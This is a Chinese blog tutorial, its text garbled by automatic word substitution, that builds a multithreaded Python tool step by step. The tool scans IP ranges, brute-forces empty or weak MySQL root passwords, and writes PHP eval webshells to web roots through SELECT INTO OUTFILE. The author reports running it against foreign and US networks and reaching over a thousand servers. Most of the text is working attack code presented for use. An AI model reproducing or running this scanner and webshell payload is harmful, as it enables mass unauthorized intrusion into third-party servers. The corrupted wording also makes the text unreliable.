01
序言
一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当末了工具完成后,一测试扫描外国网段,半天韶光竟然就成功连接了上千台数据库做事器。

02
起因
这个脚本最开始的构思是在AWD比赛的情景下,由于所有做事器的环境都相同,只要查看本地的MySql用户名密码就知道了所有做事器的MySql用户名密码。若做事器开放了3306端口,那么利用这一个漏洞就能顺利得到所有做事器权限。防患未然,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。
原始脚本-1:
#!/usr/bin/envpython
#coding=utf-8
#author:Blus
importMySQLdb
defmysql_connect1(ip,shell_url):
#考试测验数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
cur=conn.cursor()
#若数据库连接成功,开始写马
try:
sql_insert=\"大众SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';\"大众.format(shell_url)
#printsql_insert;
cur.execute(sql_insert)
print\"大众写入成功\公众.decode()
exceptException as e:
print\公众写入缺点\"大众
printe;
return
cur.close()
conn.close()
exceptMySQLdb.Error,e:
print\"大众Mysql_Error: %d: %s\"大众 % (e.args[0], e.args[1])
return
if__name__ == \公众__main__\"大众:
fp_ip=open('ip.txt')
shell_url= 'D:/1.PHP'
forip in fp_ip.readlines():
fp4=ip.replace('\r',\公众\"大众).replace('\n',\"大众\"大众)
#url=str(fp5)
printfp4
mysql_connect1(ip,shell_url)
print'检测结束'
须要安装mysqldb,可自行参考网上教程。本人windwos环境直接在
https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是大略方法之一,之后会再磋商。
03
操持
这个python脚本来是为AWD比赛准备的,但后来一贯没用上,末了一贯躺在“武器库”里生锈。想着既然有些过期了,就让它重新发亮。(为了方便相互学习,之后的代码中会加入大量的注释)
操持对其做以下改进:
1. 加快其速率,支持大批量扫描
2. 增加自动爆破密码的功能
3. 增加日志记录功能
4. 代码规范简洁
04
引入多线程
升级第一步,那便是加快它的速率,单线程太慢了考试测验多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,利用到IPy库。本人windwos环境直接pipinstall IPy 安装IPy库无报错。
紧张变动了这几处:
以下是这次修正后的完全的代码-2:
#!/usr/bin/envpython
#coding=utf-8
#author:Blus
importMySQLdb
importthreading
importtime
importIPy
defmysql_connect1(ip,shell_url,shell_content):
#考试测验数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)
cur=conn.cursor()
#若数据库连接成功,开始写马
try:
sql_insert= \"大众SELECT '{}'into outfile'{}';\"大众.format(shell_content,shell_url)
printsql_insert;
cur.execute(sql_insert)
print\"大众写入成功\"大众.decode()
exceptException as e:
print\公众写入缺点\公众
printe;
return
cur.close()
conn.close()
exceptMySQLdb.Error,e:
print\"大众Mysql_Error: %d: %s\"大众 % (e.args[0], e.args[1])
return
if__name__ == \公众__main__\"大众:
#内容设置
shell_url='../../../../wamp64/www/erg2313231.php';
shell_content='<?php@eval($_POST[cmd]); ?>'
#设置同时运行的线程数
threads=25
#要检测的IP网段
ip1= IPy.IP('192.168.0.0/16')
forip in ip1:
ip=str(ip)
while(threading.activeCount()>threads):
time.sleep(1)
threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start()
print'检测结束'
05
改进速率,增加ping函数
但直接连接mysql端口速率特殊慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改进效率,不采取直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现考验端口是否开放,把稳选择SYN快速扫描,普通的TCP连接端口扫描速率也烦懑。)
增加一个ping_ip函数,可参考
http://blog.51cto.com/happylab/1742282
加上判断语句。若主机不存活,则退出
改好后再测试创造韶光缩短一半。
以下是这次的完全代码-3:
#!/usr/bin/envpython
#coding=utf-8
#author:Blus
importMySQLdb
importthreading
importIPy
import time
importsubprocess
defmysql_connect1(ip,shell_url,shell_content):
ifnot(ping_ip(ip)):
#printip,\公众down\公众
return
#考试测验数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
cur=conn.cursor()
#若数据库连接成功,开始写马
try:
#如果有重名数据库则删除该数据库
cur.execute('DROPdatabase IF EXISTS `A123456`;')
cur.execute('createdatabase A123456;')
except:
printip,\公众数据库创建缺点\"大众
return
cur.execute('useA123456;')
try:
cur.execute('CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );')
printip,\"大众表创建成功\公众
except:
printip,\公众表创建失落败\"大众
return
try:
shell_content2=\"大众INSERTINTOB123456(C123456)VALUES ('{}');\"大众.format(shell_content)
cur.execute(shell_content2)
printip,\"大众一句话插入成功\公众
except:
printip,\公众一句话插入失落败\公众
return
#这里设置小马导出后的路径,该目录须要有写权限且mysql没有开启secure-file-priv
try:
sql_insert=\"大众SELECTC123456 from B123456 into outfile '{}';\公众.format(shell_url)
cur.execute(sql_insert)
printip,\"大众写入成功\"大众.decode()
exceptException as e:
printip,\公众写入缺点\"大众,e
return
cur.close()
conn.close()
return
exceptMySQLdb.Error,e:
print\"大众Mysql_Error: %d: %s\公众 % (e.args[0], e.args[1])
return
defping_ip(ip):
#调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活
cmd= 'ping -w 1 %s' % ip
p= subprocess.Popen(cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
result= p.stdout.read()
regex= result.find('100%')
#未匹配到便是-1
#未匹配到便是存活主机
if(regex == -1):
return1
else:
return0
if__name__ == \"大众__main__\"大众:
start= time.time()
#内容设置
shell_url='../../../../wamp64/www/erg2313231.php';
shell_content='<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>'
#设置同时运行的线程数
threads=25
#要检测的IP网段
ip1= IPy.IP('192.168.0.0/24')
forip in ip1:
ip=str(ip)
while(threading.activeCount()>threads):
time.sleep(1)
t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content))
t1.start()
#当线程只剩1时,解释实行完了
while(threading.activeCount()!=1):
time.sleep(1)
print\"大众检测结束\"大众
end= time.time()
printend - start
06
日志记录
接下来便是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,由于在批量扫描,大部分做事器都是站库分离的情形下,该功能没什么用。
变动了以下几处:
大略的日志记录函数:
记录日志的几种情形:
区分不同的报错信息:
以下是这次的完全代码-4:
#!/usr/bin/envpython
#coding=utf-8
#author:Blus
importMySQLdb
importthreading
importtime
importIPy
importsubprocess
defmysql_connect1(ip):
ifnot(ping_ip(ip)):
#printip,\"大众down\公众
return
else:
#记录在线的ip
ip_log(\公众ip_up.txt\公众,ip,\公众\"大众)
#考试测验数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
cur=conn.cursor()
#记录开放3306端口的ip
ip_log(\公众port_connected.txt\公众,ip,\"大众\"大众)
exceptMySQLdb.Error,e:
e= str(e)
#记录报错信息
printe
r1= e.find('Can\'t connect') #端口未开放Mysql_Error:2003: Can't connect to MySQL server on '35.164.6.48' (10060)
r2= e.find('Access denied') # 端口开放但密码缺点 Mysql_Error:1045: Access denied for user 'root'@'localhost' (using password: YES)
r3= e.find('not allowed') #端口只许可特定ip连接 Mysql_Error:1130: Host '172.17.14.2' is not allowed to connect to this MySQLserver
#r3= e.find('Learn SQL!') #这限定特定了sql语句
if(r1 != -1):
#打消端口不开放的情形
return
elif(r2!= -1):
#ip_log('port_opend.txt',ip,\"大众密码缺点\"大众)
ip_log('port_opend.txt',ip,e)
elif(r3!= -1):
#ip_log('port_opend.txt',ip , \"大众不许可该IP连接\"大众)
ip_log('port_opend.txt',ip , e)
else:
#ip_log('port_opend.txt',ip, \公众其他缺点\公众)
ip_log('port_opend.txt',ip, e)
return
defping_ip(ip):
#调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活
cmd= 'ping -w 1 %s' % ip
p= subprocess.Popen(cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
result= p.stdout.read()
regex= result.find('100%')
#未匹配到便是-1,便是存活主机
if(regex == -1):
return1
else:
return0
def ip_log(txt_name,ip,content):
f1= open(txt_name, 'a')
f1.write(ip+ \"大众 \"大众 + content + \公众\r\n\"大众)
f1.close()
if__name__ == \"大众__main__\公众:
start= time.time()
#设置同时运行的线程数
threads=150
#要检测的IP网段
ip1= IPy.IP('192.168.0.0/16')
forip in ip1:
ip=str(ip)
printip
while(threading.activeCount()>threads):
time.sleep(1)
t1=threading.Thread(target=mysql_connect1,args=(ip,))
t1.start()
#当线程只剩1时,解释实行完了
while(threading.activeCount()!=1):
time.sleep(5)
print\公众检测结束\"大众
这里代码已经开始凌乱了,暂且放着。改完后测试扫描了米国某网段一个小时,创造现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线做事器。
开放端口的日志:
成功连接的日志:
07
字典爆破
当然,一个空密码连接不可能知足我们,再加上个弱口令爆破功能就更完美了。在mysql连接函数外套一个循环,循环读取txt中的每行密码进行考试测验。
把稳:在读取txt字典里每行的内容时记得去掉”\r”和“\n”这代表回车的符号,不然爆破密码时就带上了它们。
在过程中创造MySQLdb.connect的一个问题:
理论上当运行该函数永劫光未连接端口时会抛出错误,但在实际过程中,有时候不会抛出错误,程序一贯壅塞。去查阅了mysqldb的文档,创造有个连接超时(connect_timeou)的参数选项(如下图),当连接超时时会抛弃该连接。但一测试立时创造这个参数形同虚设,根本没用!
无奈,只好手动给函数加上韶光限定,考虑了以下两个方法。
方法一:利用signal.SIGALRM旗子暗记量,但SIGALRM只能在linux系统下利用
可参考:
https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python
方法二:利用多线程中的join()的超时参数,比如join(3)便是限定了子线程运行的韶光为3秒。
在此我采取方法二:
但同时须要把稳的是try...except是无法捕捉线程中的报错的,由于线程有独立的栈,线程产生的非常发生在不同的栈上,因此无法捕捉到线程的非常。即捕捉不到3306端口连接缺点,就无法根据报错信息来剖析端口的连接情形。但如果在线程内部利用try..except来捕捉报错的话,线程自身又不返回值,无法见告主函数端口的连接情形,也就无法确定是否要进行密码爆破,或者什么时候密码爆破成功,这时候又该怎么办呢?
查阅网上的资料,创造有利用类的变量来通报线程内的,也有利用Queue库创建行列步队实例来通报数据的。但总以为有些“臃肿”,不太满意。思考着溘然豁然开朗,可以在线程运行的函数内部判断端口的连接情形,然后用threading.Event()的标志设置与否,来通报结果,让主函数知道接下来该如何运行。设置了标志解释要进行下一步操作,未设置标志则return退出当前操作。
关于threading.Event()的根本知识可参考:
https://blog.csdn.net/u012067766/article/details/79734630
修正后的主函数:
这里就不放上完全的代码了,由于紧接着立时又改进了效率。
请关注下篇!